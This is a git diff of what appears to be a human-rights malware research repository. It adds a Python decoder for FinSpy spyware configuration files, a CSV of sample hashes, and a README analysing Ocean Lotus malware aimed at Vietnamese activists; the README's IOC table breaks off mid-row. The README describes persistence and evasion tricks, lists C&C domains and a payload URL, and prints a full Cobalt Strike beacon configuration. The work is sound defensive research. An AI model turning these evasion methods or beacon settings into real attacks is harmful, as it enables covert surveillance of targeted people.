"TlvTypeMasterAgentAddUser", + 7455392: "TlvTypeMasterAgentAddUserReply", + 7455648: "TlvTypeMasterAgentModifyUser", + 7455904: "TlvTypeMasterAgentSetUserPermission", + 7456160: "TlvTypeMasterAgentSetTargetPermission", + 7456400: "TlvTypeMasterAgentUserPermission", + 7456656: "TlvTypeMasterAgentTargetPermission", + 7456928: "TlvTypeMasterAgentUserPermissionValuePacket", + 7457184: "TlvTypeMasterAgentTargetPermissionValuePacket", + 7457344: "TlvTypeMasterAgentUserPermissionValueName", + 7457600: "TlvTypeMasterAgentTargetPermissionValueName", + 7457856: "TlvTypeMasterAgentUserPermissionValueData", + 7458112: "TlvTypeMasterAgentTargetPermissionValueData", + 7458464: "TlvTypeMasterAgentModifyPassword", + 7458656: "TlvTypeMasterAgentMobileTargetPermissionValueName", + 7458976: "TlvTypeMasterAgentUploadFile", + 7459232: "TlvTypeMasterAgentUploadFileChunk", + 7459488: "TlvTypeMasterAgentUploadFileDone", + 7459744: "TlvTypeMasterAgentUploadFilesTransferDone", + 7460000: "TlvTypeMasterAgentGetTargetModuleConfigRequest", + 7460256: "TlvTypeMasterAgentRemoveFile", + 7460512: "TlvTypeMasterAgentMobileProxyList", + 7460768: "TlvTypeMasterAgentSMSProxyList", + 7461024: "TlvTypeMasterAgentSMSProxyInfoReply", + 7461280: "TlvTypeMasterAgentCallPhoneNumberList", + 7461536: "TlvTypeMasterAgentCallPhoneNumberInfoReply", + 7461792: "TlvTypeMasterAgentGetMobileTargetModuleConfigRequest", + 7462048: "TlvTypeMasterAgentSendSMS", + 7469984: "TlvTypeMasterAgentEncryptionRequired", + 7470752: "TlvTypeAgentMasterComm", + 7470240: "TlvTypeMasterAgentFileCompleted", + 7470496: "TlvTypeMasterAgentRequestCompleted", + 7471008: "TlvTypeMasterAgentRequestStatus", + 7733664: "TlvTypeRelayProxyComm", + 8454800: "TlvTypeRelayData", + 7734176: "TlvTypeRelayDummyHeartbeat", + 7668128: "TlvTypeMasterTargetComm", + 7668384: "TlvTypeTargetCloseAllLiveStreaming", + 7471424: "TlvTypeProxyMasterCommSig", + 7471776: "TlvTypeProxyMasterComm", + 7472032: "TlvTypeMasterProxyComm", + 7472288: "TlvTypeProxyMasterHeartBeatAnswer", + 7472544: "TlvTypeProxyMasterDisconnect", + 7472704: "TlvTypeProxyMasterNotification", + 7473056: "TlvTypeProxyMasterRequest", + 7473312: "TlvTypeMasterProxyCommNotification", + 7473568: "TlvTypeMasterCheckTargetDisconnect", + 7536960: "TlvTypeProxyTargetCommSig", + 7537312: "TlvTypeProxyTargetComm", + 7537568: "TlvTypeProxyMasterTargetComm", + 7537728: "TlvTypeProxyTargetRequestCrypto", + 7538064: "TlvTypeProxyTargetAnswerCrypto", + 8454544: "TlvTypeProxyData", + 8458400: "TlvTypeProxyTargetDisconnect", + 8458656: "TlvTypeProxyMobileTargetDisconnect", + 8458912: "TlvTypeProxyDummyHeartbeat", + 8459168: "TlvTypeProxyMobileDummyHeartbeat", + 8585616: "TlvTypeAgentData", + 8585808: "TlvTypeAgentQueryID", + 8586048: "TlvTypeAgentQueryModSubmodID", + 8586304: "TlvTypeAgentQueryFromDate", + 8586560: "TlvTypeAgentQueryToDate", + 8586816: "TlvTypeAgentQuerySortOrder", + 8587136: "TlvTypeAgentQueryValueFilter", + 8587328: "TlvTypeAgentUID", + 8520080: "TlvTypeMasterData", + 8520768: "TlvTypeMasterMode", + 8521024: "TlvTypeMasterToken", + 8521344: "TlvTypeMasterQueryResult", + 8522368: "TlvTypeMasterAlarmString", + 8651152: "TlvTypeMobileTargetData", + 8651376: "TlvTypeMobileTargetHeartBeatV10", + 8651632: "TlvTypeMobileTargetExtendedHeartBeatV10", + 8651888: "TlvTypeMobileHeartBeatReplyV10", + 8653472: "TlvTypeMobileInstalledModulesReply", + 8656032: "TlvTypeMobileTargetUploadModuleRequest", + 8656288: "TlvTypeMobileTargetUploadModuleReply", + 8656544: "TlvTypeMobileTargetUploadModuleChunk", + 8656800: "TlvTypeMobileTargetUploadModuleDoneRequest", + 8657056: "TlvTypeMobileTargetUploadModuleDoneReply", + 8657312: "TlvTypeMobileTargetRemoveModuleRequest", + 8657568: "TlvTypeMobileTargetRemoveModuleReply", + 8655008: "TlvTypeMobileTargetOfflineUploadModuleRequest", + 8657824: "TlvTypeMobileTargetOfflineUploadModuleReply", + 8658080: "TlvTypeMobileTargetOfflineUploadModuleChunk", + 8658336: "TlvTypeMobileTargetOfflineUploadModuleDoneRequest", + 8658592: "TlvTypeMobileTargetOfflineUploadModuleDoneReply", + 8658848: "TlvTypeMobileTargetOfflineError", + 8659104: "TlvTypeMobileTargetError", + 8659360: "TlvTypeMobileTargetGetRecordedFilesRequest", + 8659616: "TlvTypeMobileTargetRecordedFilesReply", + 8659872: "TlvTypeMobileTargetRecordedFileDownloadRequest", + 8660128: "TlvTypeMobileTargetRecordedFileDownloadReply", + 8660384: "TlvTypeMobileTargetRecordedFileDownloadChunk", + 8660640: "TlvTypeMobileTargetRecordedFileDownloadCompleted", + 8660896: "TlvTypeMobileTargetRecordedFileDeleteRequest", + 8661152: "TlvTypeMobileTargetRecordedFileDeleteReply", + 8663968: "TlvTypeMobileTargetOfflineConfig", + 8664224: "TlvTypeMobileTargetEmergencyConfigAsTLV", + 8664432: "TlvTypeMobileTargetEmergencyConfig", + 8671392: "TlvTypeMobileTargetLoadModuleRequest", + 8671648: "TlvTypeMobileTargetLoadModuleReply", + 8671904: "TlvTypeMobileTargetUnLoadModuleRequest", + 8672160: "TlvTypeMobileTargetUnLoadModuleReply", + 8675472: "TlvTypeMobileTargetHeartbeatEvents", + 8675648: "TlvTypeMobileTargetHeartbeatInterval", + 8675984: "TlvTypeMobileTargetHeartbeatRestrictions", + 8676208: "TlvTypeConfigSMSPhoneNumber", + 8676496: "TlvTypeMobileTargetPositioning", + 8676672: "TlvTypeMobileTrojanUID", + 8676976: "TlvTypeMobileTrojanID", + 8677296: "TlvTypeMobileTargetLocationChangedRange", + 8677440: "TlvTypeConfigMobileAutoRemovalDateTime", + 8677808: "TlvTypeConfigOverwriteProxyAndPhones", + 8678000: "TlvTypeConfigCallPhoneNumber", + 8679488: "TlvTypeLocationAreaCode", + 8679744: "TlvTypeCellID", + 8680048: "TlvTypeMobileCountryCode", + 8680304: "TlvTypeMobileNetworkCode", + 8680560: "TlvTypeIMSI", + 8680816: "TlvTypeIMEI", + 8681072: "TlvTypeGPSLatitude", + 8681328: "TlvTypeGPSLongitude", + 8681520: "TlvTypeFirstHeartbeat", + 8681872: "TlvTypeInstalledModules", + 8683568: "TlvTypeValidGPSValues", + 8389008: "TlvTypeTargetData", + 8389280: "TlvTypeTargetHeartBeat", + 8389680: "TlvTypeTargetKeepSessionAlive", + 8390000: "TlvTypeTargetLocalIP", + 8390256: "TlvTypeTargetGlobalIP", + 8390448: "TlvTypeTargetState", + 8390784: "TlvTypeTargetID", + 8391072: "TlvTypeGetInstalledModulesRequest", + 8391328: "TlvTypeInstalledModulesReply", + 8391488: "TlvTypeTrojanUID", + 8391808: "TlvTypeTrojanID", + 8392000: "TlvTypeTrojanMaxInfections", + 8392240: "TlvTypeScreenSaverOn", + 8392496: "TlvTypeScreenLocked", + 8392752: "TlvTypeRecordedDataAvailable", + 8393024: "TlvTypeDownloadedRecordedDataTimeStamp", + 8393280: "TlvTypeInstallationMode", + 8393552: "TlvTypeTargetRemoveNotification", + 8393792: "TlvTypeTargetPlatformBits", + 8394032: "TlvTypeRemoveItselfMaxInfectionReached", + 8394288: "TlvTypeRemoveItselfAtMasterRequest", + 8394544: "TlvTypeRemoveItselfAtAgentRequest", + 8394912: "TlvTypeRemoveItselfAtAgentReqRequest", + 8395072: "TlvTypeRecordedFilesDownloadTotal", + 8395328: "TlvTypeRecordedFilesDownloadProgress", + 8395632: "TlvTypeTargetLicenseInfo", + 8395840: "TlvTypeRemoveTargetLicenseInfo", + 8396176: "TlvTypeTargetAllConfigurations", + 8396960: "TlvTypeTargetError", + 8401056: "TlvTypeGetTargetConfigRequest", + 8401312: "TlvTypeTargetConfigReply", + 8401568: "TlvTypeSetTargetConfigRequest", + 8402304: "TlvTypeConfigTargetID", + 8402496: "TlvTypeConfigTargetHeartbeatInterval", + 8402800: "TlvTypeConfigTargetProxy", + 8403008: "TlvTypeConfigTargetPort", + 8403584: "TlvTypeConfigAutoRemovalDateTime", + 8403776: "TlvTypeConfigAutoRemovalIfNoProxy", + 8404032: "TlvTypeInternalAutoRemovalElapsedTime", + 8405040: "TlvTypeConfigActiveHiding", + 8409248: "TlvTypeTargetLoadModuleRequest", + 8409504: "TlvTypeTargetLoadModuleReply", + 8409760: "TlvTypeTargetUnLoadModuleRequest", + 8410016: "TlvTypeTargetUnLoadModuleReply", + 8410272: "TlvTypeTargetUploadModuleRequest", + 8410528: "TlvTypeTargetUploadModuleReply", + 8410784: "TlvTypeTargetUploadModuleChunk", + 8411040: "TlvTypeTargetUploadModuleDoneRequest", + 8411296: "TlvTypeTargetUploadModuleDoneReply", + 8411552: "TlvTypeTargetRemoveModuleRequest", + 8411808: "TlvTypeTargetRemoveModuleReply", + 8412064: "TlvTypeTargetOfflineUploadModuleRequest", + 8412320: "TlvTypeTargetOfflineUploadModuleReply", + 8412576: "TlvTypeTargetOfflineUploadModuleChunk", + 8412832: "TlvTypeTargetOfflineUploadModuleDoneRequest", + 8413088: "TlvTypeTargetOfflineUploadModuleDoneReply", + 8413344: "TlvTypeTargetOfflineError", + 8413600: "TlvTypeTargetUploadError", + 8417440: "TlvTypeTargetGetRecordedFilesRequest", + 8417696: "TlvTypeTargetRecordedFilesReply", + 8417952: "TlvTypeTargetRecordedFileDownloadRequest", + 8418208: "TlvTypeTargetRecordedFileDownloadReply", + 8418464: "TlvTypeTargetRecordedFileDownloadChunk", + 8418720: "TlvTypeTargetRecordedFileDownloadCompleted", + 8418976: "TlvTypeTargetRecordedFileDeleteRequest", + 8419232: "TlvTypeTargetRecordedFileDeleteReply", + 8419488: "TlvTypeTargetGetRecordedFilesRequestEx", + 8419744: "TlvTypeTargetRecordedFilesReplyEx", + 8420000: "TlvTypeTargetRecordedFileDeleteRequestEx", + 8420256: "TlvTypeTargetRecordedFilesDownloadRequestEx", + 16744768: "TlvTypeProxyConnectionBroken", + 16712000: "TlvTypeTargetConnectionBroken", + 16712256: "TlvTypeAgentConnectionBroken", + 16712512: "TlvTypeTargetOffline", + 16646544: "TlvTypePlaintext", + 16646800: "TlvTypeCompression", + 16647056: "TlvTypeEncryption", + 16647232: "TlvTypeTargetUID", + 16647536: "TlvTypeIPAddress", + 16647808: "TlvTypeUserName", + 16648064: "TlvTypeComputerName", + 16648304: "TlvTypeLoginName", + 16648560: "TlvTypePassphrase", + 16648832: "TlvTypeRecordID", + 16649088: "TlvTypeOwner", + 16649344: "TlvTypeMetaData", + 16649536: "TlvTypeModuleID", + 16649856: "TlvTypeOSName", + 16650048: "TlvTypeModuleSubID", + 16650320: "TlvTypeErrorCode", + 16650560: "TlvTypeOffset", + 16650816: "TlvTypeLength", + 16651088: "TlvTypeRequestID", + 16651328: "TlvTypeRequestType", + 16651584: "TlvTypeVersion", + 16651840: "TlvTypeMachineID", + 16652096: "TlvTypeMajorNumber", + 16652352: "TlvTypeMinorNumber", + 16652656: "TlvTypeGlobalIPAddress", + 16652912: "TlvTypeASCII_Filename", + 16653120: "TlvTypeFilesize", + 16653392: "TlvTypeFilecount", + 16653712: "TlvTypeFiledata", + 16653968: "TlvTypeMD5Sum", + 16654144: "TlvTypeProxyPort", + 16654400: "TlvTypeStatus", + 16654656: "TlvTypeUserID", + 16654912: "TlvTypeGroupID", + 16655168: "TlvTypePermissions", + 16655424: "TlvTypeRequestCode", + 16655680: "TlvTypeDataSize", + 16655936: "TlvTypeKeyType", + 16656240: "TlvTypeEmail", + 16656432: "TlvTypeEnabled", + 16656688: "TlvTypeLicensed", + 16656960: "TlvTypeAudioFrequency", + 16657216: "TlvTypeAudioBitsPerSample", + 16657472: "TlvTypeAudioChannels", + 16657728: "TlvTypeStartTime", + 16657984: "TlvTypeStopTime", + 16658240: "TlvTypeBitMask", + 16658560: "TlvTypeTimeZone", + 16658816: "TlvTypeDateTime", + 16659072: "TlvTypeStartSessionDateTime", + 16659328: "TlvTypeStopSessionDateTime", + 16659520: "TlvTypeDateTimeRef", + 16659776: "TlvTypeScheduleRepeat", + 16660032: "TlvTypeUnixMasterDateTime", + 16660288: "TlvTypeUnixUTCDateTime", + 16660544: "TlvTypeDurationInSeconds", + 16660864: "TlvTypeMasterRefTime", + 16661120: "TlvTypeMasterRefTimeStart", + 16661376: "TlvTypeMasterRefTimeEnd", + 16661568: "TlvTypeCounter", + 16661888: "TlvTypeWhiteListEntry", + 16662144: "TlvTypeBlackListEntry", + 16662336: "TlvTypeBlackWhiteListingMode", + 16662576: "TlvTypeConfigEnabled", + 16662848: "TlvTypeConfigMaxRecordingSize", + 16663104: "TlvTypeConfigAudioQuality", + 16663344: "TlvTypeConfigVideoBlackAndWhite", + 16663616: "TlvTypeConfigVideoResolution", + 16663872: "TlvTypeConfigCaptureFrequency", + 16664128: "TlvTypeConfigVideoQuality", + 16664384: "TlvTypeConfigFilesStandardFilter", + 16664704: "TlvTypeConfigFilesCustomFilter", + 16664896: "TlvTypeConfigStandardLocation", + 16665216: "TlvTypeConfigCustomLocation", + 16665408: "TlvTypeConfigFileChunkSize", + 16665664: "TlvTypeConfigFileTransferSpeed", + 16665904: "TlvTypeConfigUploadFileOverwrite", + 16666160: "TlvTypeConfigDeleteOverReboot", + 16666496: "TlvTypeConfigCustomLocationException", + 16666752: "TlvTypeExtraData", + 16667008: "TlvTypeSignature", + 16667264: "TlvTypeComments", + 16667520: "TlvTypeDescription", + 16667776: "TlvTypeFilenameExtension", + 16668032: "TlvTypeSessionType", + 16668224: "TlvTypePeriod", + 16668512: "TlvTypeMobileTargetUID", + 16668784: "TlvTypeMobileTargetID", + 16669072: "TlvTypeMobilePlaintext", + 16669328: "TlvTypeMobileCompression", + 16669584: "TlvTypeMobileEncryption", + 16669824: "TlvTypeEncodingType", + 16670576: "TlvTypePhoneNumber", + 16670784: "TlvTypeConfigCustomLocationMode", + 16674928: "TlvTypeNetworkInterface", + 16675136: "TlvTypeNetworkInterfaceMode", + 16675440: "TlvTypeNetworkInterfaceAddress", + 16675696: "TlvTypeNetworkInterfaceNetmask", + 16675952: "TlvTypeNetworkInterfaceGateway", + 16676208: "TlvTypeNetworkInterfaceDNS_1", + 16676464: "TlvTypeNetworkInterfaceDNS_2", + 16677440: "TlvTypeLoginTime", + 16677696: "TlvTypeLogoffTime", + 16678720: "TlvTypeGeneric_Type", + 16678976: "TlvTypeChecksum", + 16679280: "TlvTypeCity", + 16679536: "TlvTypeCountry", + 16679792: "TlvTypeCountryCode", + 16683072: "TlvTypeTargetType", + 16683392: "TlvTypeDurationString", + 8257792: "TlvTypeTestMetaTypeInvalid", + 8258608: "TlvTypeTestMetaTypeBool", + 8258880: "TlvTypeTestMetaTypeUInt", + 8259152: "TlvTypeTestMetaTypeInt", + 8259440: "TlvTypeTestMetaTypeString", + 8259712: "TlvTypeTestMetaTypeUnicode", + 8259984: "TlvTypeTestMetaTypeRaw", + 8260256: "TlvTypeTestMetaTypeGroup", + 8260416: "TlvTypeTestMemberIdentifier", + 8260736: "TlvTypeTestMemberName", + 0x2331a0: "TlvTypeVideoConfigReply", # Guess based on module + 0x2431a0: "TlvTypeScreenRecordingConfigReply", # Guess + 0x2731a0: "TlvTypeEmailConfigReply", # Guess + 0x2831a0: "TlvTypeWifiConfigReply", # Guess + 0x2931a0: "TlvTypeRemoteConfigReply", #Guess +} + +NEED_RECURSION = ["TlvTypeChangedConfigReply", "TlvTypeTargetConfigReply", + "TlvTypeFileSystemConfigReply", "TlvTypeCmdLineConfigReply", + "TlvTypeSchedulerConfigReply", "TlvTypeMobileTargetOfflineConfig", + "TlvTypeMobileTrackingConfigRaw", "TlvTypeMobileTrackingConfig", + "0x544090", "0x5440a0", "0x534090", "0x5341a0"] + + +def decode(m): + cfg = {} + while m.b.tell() < m._len: + size = m.dword() + tag = m.dword() + tag_type = (tag & 0xf0) >> 4 + name = tlv_types.get(tag) + if tag_type < 4: + data = m.byte() + elif tag_type >= 6: + data = m.read(size - 8) + if tag_type == 8: + data = data.decode('utf-16') + if u"\u0380" in data: + category, rest = data.split(u"\u0380") + data = {'category': category, 'list': rest.split(u"\u0381")} + else: + data = m.dword() + if not name: + name = hex(tag) + + if name in NEED_RECURSION or "ConfigReply" in name: + nm = M(data) + cfg[name] = decode(nm) + elif name in cfg and type(cfg[name]) != list: + olv = cfg[name] + cfg[name] = [olv, data] + elif name in cfg and type(cfg[name]) == list: + cfg[name].append(data) + elif name == "TlvTypeInstalledModules": + # Specific decoding for Android modules + olv = {"data": data} + olv["logging"] = (data[68] == 1) + olv["spycall"] = (data[64] == 1) + olv["call_interception"] = (data[65] == 1) + olv["sms"] = (data[66] == 1) + olv["addressbook"] = (data[67] == 1) + olv["tracking"] = (data[69] == 1) + olv["phonelogs"] = (data[70] == 1) + cfg[name] = olv + else: + cfg[name] = data + + return cfg + +class MyEncoder(JSONEncoder): + """ + JSON encoder to encode bytes + """ + def default(self, o): + if isinstance(o, bytes): + try: + return o.decode('utf-8') + except UnicodeDecodeError: + return repr(o) + return o + + +# From https://github.com/mak/mlib +class M(object): + TRANSL = {'byte': ('B', 1), 'word': ('H', 2), + 'dword': ('I', 4), 'qword': ('Q', 8)} + + def __init__(self, d, end_fmt=''): + self._len = len(d) + self.b = BytesIO(d) + + def _get_bytes(self, fmt, s, off): + return struct.unpack(fmt, self.read(off, s) if off else self.read(s))[0] + + def skip(self, n): + self.b.seek(n, os.SEEK_CUR) + + def unskip(self, n): + self.b.seek(-n, os.SEEK_CUR) + + def read(self, a0, a1= None): + r = None + if a1 is None: + r = self.b.read(a0) + else: + r = self.read_at(a0,a1) + return r + + def read_at(self, off, n): + old_l = self.b.tell() + self.b.seek(off, os.SEEK_SET) + r = self.b.read(n) + self.b.seek(old_l, os.SEEK_SET) + return r + + def __len__(self): + return self._len + + def __getattr__(self, name): + at = False + if name.endswith('_at'): + name = name[:-3] + + if name in M.TRANSL: + f, s = M.TRANSL[name] + return lambda off = None: self._get_bytes(f, s, off) + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description='Decode FinSpy configuration files') + parser.add_argument('CONFFILE', help='Configuration file') + args = parser.parse_args() + + + with open(args.CONFFILE, 'rb') as f: + d = f.read() + + m = M(d) + total_size = m.dword() + if total_size != len(d): + print("Encrypted configuration, decrypting...") + k = (0xaa, 0x5a, 0xa5) + r = bytearray() + for i, c in enumerate(bytearray(d)): + r.append(c ^ k[i % 3]) + data = bytes(r) + m = M(data) + total_size = m.dword() + + _ = m.dword() ## doesn't matter but config is wrapped into TlvTypeEncryption + cfg = decode(m) + print(json.dumps(cfg, cls=MyEncoder, indent=4)) diff --git a/data/ioc/spyware/amnesty/2020-09-25_finfisher/sha256.csv b/data/ioc/spyware/amnesty/2020-09-25_finfisher/sha256.csv new file mode 100644 index 0000000..8acf137 --- /dev/null +++ b/data/ioc/spyware/amnesty/2020-09-25_finfisher/sha256.csv @@ -0,0 +1,13 @@ +sha256,Description +1e9162cd0941557304a6a097dfaadf59f90bc8bbaa9879afe67b5ce0d1514be8,Linux FinSpy sample +854774a198db490a1ae9f06d5da5fe6a1f683bf3d7186e56776516f982d41ad3,Android FinSpy sample +bb8c0e477512adab1db26eb77fe10dadbc5dcbf8e94569061c7199ca4626a420,Backdoored rar installer +80d6e71c54fb3d4a904637e4d56e108a8255036cbb4760493b142889e47b951f,MacOS Installer +f960144126748b971386731d35e41288336ad72a9da0c6b942287f397d57c600,Backdoored flash installer +fab6b3bbc14c80049f95b040680fba6d1b47f07746729d04c887a55272084648,Encoded cobalt strike beacon +8f216d2f0be2c4a5c07abf45cf138453f72f00ec598327756c6fc9d5f4dabe0d,Decoded Cobalt Strike beacon +4f3003dd2ed8dcb68133f95c14e28b168bd0f52e5ae9842f528d3f7866495cea,Older Mac OS sample +bd1b8bc046dbf19f8c9bbf9398fdbc47c777e1d9e6d9ff1787ada05ed75c1b12,Older Linux sample +9f04439bc94f2eef76b72ac2e0aeece0d4f46b6c42ef179fc860f6b5876f5f50,Android FinSpy sample +928aefbcac9386c953b3491230a719ff65b21612eb6bd9b32501de149cacbc92,Android FinSpy sample +14658327efaa15275fb8718956ee97ebcad5bc80312a4f3182a3b10cd3dcf257,NilePhish downloader diff --git a/data/ioc/spyware/amnesty/2021-02-24_vietnam/README.md b/data/ioc/spyware/amnesty/2021-02-24_vietnam/README.md new file mode 100644 index 0000000..13c76d5 --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-02-24_vietnam/README.md @@ -0,0 +1,157 @@ +# Overview of Ocean Lotus Samples used to target Vietnamese Human Rights Defenders + +From May to November 2020, we have identified malware attacks targeting Human Rights Defenders and organizations from Viet Nam. This technical blog post provides an overview of the different Ocean Lotus samples identified, technical indicators, and details on the link with earlier Ocean Lotus activities. For more information on the context of these attacks and the targets we identified, please read the report entitled [“Click and Bait: Vietnamese Human Rights Defenders Targeted with Spyware Attacks”](https://www.amnesty.org/en/latest/research/2021/02/click-and-bait-vietnamese-human-rights-defenders-targeted-with-spyware-attacks/) on the Amnesty website (also available in Vietnamese). + +We found 9 different malware samples in this investigation: 4 for Mac OS, and 5 for Microsoft Windows. + +## Mac OS Malware + +### First appearance in 2018 + +The first Mac OS sample we identified targeted Bui Thanh Hieu in February 2018. Attackers delivered a malicious Mac OS application named _“PHIẾU GHI DANH THAM DỰ TĨNH HỘI HMDC 2018”_ attached to an email. This sample belongs to the same family as the Ocean Lotus samples analysed by [Trend Micro in 2018](https://www.trendmicro.com/en_us/research/18/d/new-macos-backdoor-linked-to-oceanlotus-found.html), and they even share the same string encryption algorithm and key. + +The malicious application uses a first stage dropper to bypass Apple GateKeeper, then it installs the final payload either in `/Library/CoreMediaIO/Plug-Ins/FCP-DAL/iOSScreenCapture.plugin/Contents/Resources/screenassistantd`, if it is launched with root access, otherwise in `~/Library/Spelling/spellagentd`. The malware gains persistence with a Property List file placed in `~/Library/LaunchAgents/`. + +The final payload communicates with the same domains mentioned in the Trend Micro report: `ssl.arkouthrie.com`, `s3.hiahornber.com` and `widget.shoreoa.com`. + +### New variants from 2019 + +In 2019 Bui Thanh Hieu received three more malicious emails with links to or attached malicious Mac OS applications, which are more recent variants of the same malware we described above. However, these variants seem less developed than the samples analysed by [Trend Micro in November 2020](https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html), making them likely intermediate versions between those discovered by Trend Micro in 2018 and in 2020. + +When executed, these applications launch an installer either embedded in the package or decrypted by a dedicated Python script. The installer disables security protections by removing the _com.apple.quarantine_ bit, launches the final payload and configures persistence by creating a property list in the LaunchAgent user folder, or in the _/Library/LaunchDaemons/_ folder if launched as root. + +![](img/1.png) + +The installer drops two files in the destination folder: one Mach-O binary payload and an encrypted shared Mach-O library named `[INTEGER].3gp` (such as 33.3gp or 152.3gp). To avoid their discovery during forensic analysis, these files’ creation date and time are faked with the command `touch –t`. + +The payload first gathers information on the system, including the MacOS version, the kernel version and details on the hardware and CPU. Then it tries to decrypt all the files in the folder until it finds a shared library exporting the functions `ArchaeologistCodeine` and `PlayerAberadurtheIncomprehensible`. This shared library implements the communication with one of three configured Command & Control (C&C) domains, using libcurl to send POST HTTP requests with an encrypted body. + +This malware uses custom base64 and AES algorithms to obfuscate all the strings, making it harder to analyse or build signatures as the encryption keys are changing regularly. In comparison, the 2018 variant used a custom base64 but standard AES, while more recent samples analysed by Trend Micro in 2020 abandoned AES in favour of a custom byte manipulation algorithm. + +This backdoor has limited purpose. It allows to manipulate files and execute commands in a terminal. For the full list of supported commands, check [Trend Micro’s report](https://www.trendmicro.com/en_us/research/18/d/new-macos-backdoor-linked-to-oceanlotus-found.html). + +## Windows Backdoors + +We identified five emails in 2019 and 2020 each containing two files compressed in RAR or ISO archives. The first file is a legitimate copy of Microsoft Word 2007’s executable used for DLL side-loading, while the second is a DLL named wwlib.dll loaded at launch by the Word executable it accompanies. + +DLL side-loading is a technique observed [several times](https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/) used by Ocean Lotus, typically with a Microsoft Word executable. The final payload is always a variant of a downloader used exclusively by Ocean Lotus and [named Kerrdown](https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/) by the cybersecurity company Palo Alto. All the Kerrdown samples we analysed delivered a Cobalt Strike payload. + +### Kerrdown analysis + +Kerrdown is a dropper that uses several layers of shellcode to obfuscate the final payload. Each one of them decrypting and redirecting to the next layer, until the final payload is reached. + +For instance, the first Kerrdown sample we found in May 2019 used 4 distinct stages before executing the final shellcode that downloads a payload from `api.ciscofreak.com/HjRX` (the domain was down during our investigation, but [this Cobalt Strike beacon](https://www.virustotal.com/gui/file/1cc3f2296f5cd9207f6c84fa9de26dcdbff0b16e49accb0f8dd670ee8d32dd50/detection) uploaded on Virus Total in 2019 communicates with this domain) + +![](img/2.png) + +These layers of shellcode are different for each Kerrdown sample we discovered, making it challenging to build signatures for this malware family. + +One of the samples which targeted the Vietnamese blogger in July 2020 introduced an additional step in the execution. The _wwwlib.dll_ payload installs a binary in `C:\ProgramData\Java\UK.exe`, a self-extractable RAR archive containing a legitimate executable copy of the Opera browser, then used to sideload a malicious DLL called _opera.dll_. + +This opera.dll is another variant of the Kerrdown family, but the file itself is exceptionally large (42MB). Expanding payloads with junk data is [a technique](https://attack.mitre.org/techniques/T1027/001/), called “binary padding”, often used by malware to avoid detection by security solutions as some do not analyse large files in depth to avoid performance issues. Binary padding is known to have been used by Ocean Lotus [in the past](https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/). This Kerrdown sample includes an obfuscated Cobalt Strike beacon communicating with the domain `delicalo.dnsalias.net`. + +![](img/3.png) + +### Cobalt Strike + +Cobalt Strike is an intrusion toolkit sold by the US company [Strategic Cyber LLC](Strategic Cyber LLC) for penetration testing or adversary simulation. Over the past years, cracked versions of Cobalt Strike have been regularly used by attack groups in their operations. [Cobalt Strike allows](https://www.cobaltstrike.com/features) to remotely monitor a compromised system, including accessing files but also logging keystrokes or taking screenshots. + +Ocean Lotus has been known for using Cobalt Strike since [at least 2017](https://www.cybereason.com/blog/operation-cobalt-kitty-apt). The 4 Kerrdown samples we identified all either embedded or downloaded a Cobalt Strike beacon. They all used a Cobalt Strike profile impersonating Google Safe Browsing services URLs, similar to [this public profile](https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/safebrowsing.profile). + +The configuration can be easily extracted with the [scripts we released in September 2020](https://github.com/AmnestyTech/investigations/tree/master/2020-09-25_finfisher/scripts/cobaltstrike). Here is an example of configuration for a beacon hosted on `delicalo.dnsalias.net`: + +``` +dns False +ssl True +port 443 +.sleeptime 4100 +.http-get.server.output +.jitter 12 +.maxdns 245 +publickey 30819f300d06092a864886f70d010101050003818d0030818902818100ac50b035fd1b294778b8cbd4ee33323f9b04af158cca225d099052d7987441cbb365ab0f81c4c1190cd8758324e1cb7085dac65ce264dc510c57cfa1d1c7711f26c767d574f04ac16d20a0acf91d4e5dc1cc62c764676b0c38ba50d43953df5184468efdd6b4098c12b5c94be562de22881484accf8e69473621efa95e290f19020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +.http-get.uri delicalo.dnsalias[.]net,/safebrowsing/rd/e3Iz4FnySnhy3IuXKqrWM40JnseSLDHcH-OzVVfWmVgwx +.user-agent Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 +.http-post.uri /safebrowsing/rd/3KHLhJGZRq4iyImdpSZ5RM90vLo3Yt2hB +.http-get.client +GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflaPREF=ID=Cookie +.http-post.client +GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflatU=NoncmvrScxBxlwoPREF=ID=Cookie +.post-ex.spawnto_x86 %windir%\syswow64\rundll32.exe +.post-ex.spawnto_x64 %windir%\sysnative\rundll32.exe +.pipename +.cryptoscheme 1 +.dns_idle 0 +.dns_sleep 0 +.http-get.verb GET +.http-post.verb POST +shouldChunkPosts 0 +.watermark 0 +.stage.cleanup 0 +CFGCaution 0 +.proxy_type 2 +killdate 0 +text_section 0 +process-inject-start-rwx 64 +process-inject-use-rwx 64 +process-inject-min_alloc 0 +process-inject-transform-x86 +process-inject-transform-x64 +``` + +## Indicators of Compromise + +### Mac OS samples + +| Feb 2018 | | +| ------------- |-------------| +| Package name | PHIẾU GHI DANH THAM DỰ TĨNH HỘI HMDC 2018 | +| Dropper | 952c16674bde3c16aa3935b3e01f3f0fb4cbac7ffa130143cbf6ccaa72733068 | +| Payload | d3a198e18f8c5e9ed54ed4959b471a0f15fbda7d4abf92b7726bc07723e46dd5 | +| C&C | `ssl.arkouthrie.com` `widget.shoreoa.com` `s3.hiahornber.com` | +| **June 2019** | | +| Package name | TaiLieu | +| Dropper | ecb6186a5e722fa360ece37191589305858a0e176321c9339831f2884dcb0405 | +| Payload | 1599fe6cc77764c17802cfde1ca77f091bb3ec2a49f6cab1c80ee667ea7c752b | +| Network library | b8567ce4d0595e6466414999798bcb1dfe01cc5ca1dd058bfc55f92033f0f3d8 | +| C&C | `tips.jasperpfeiffer.com` 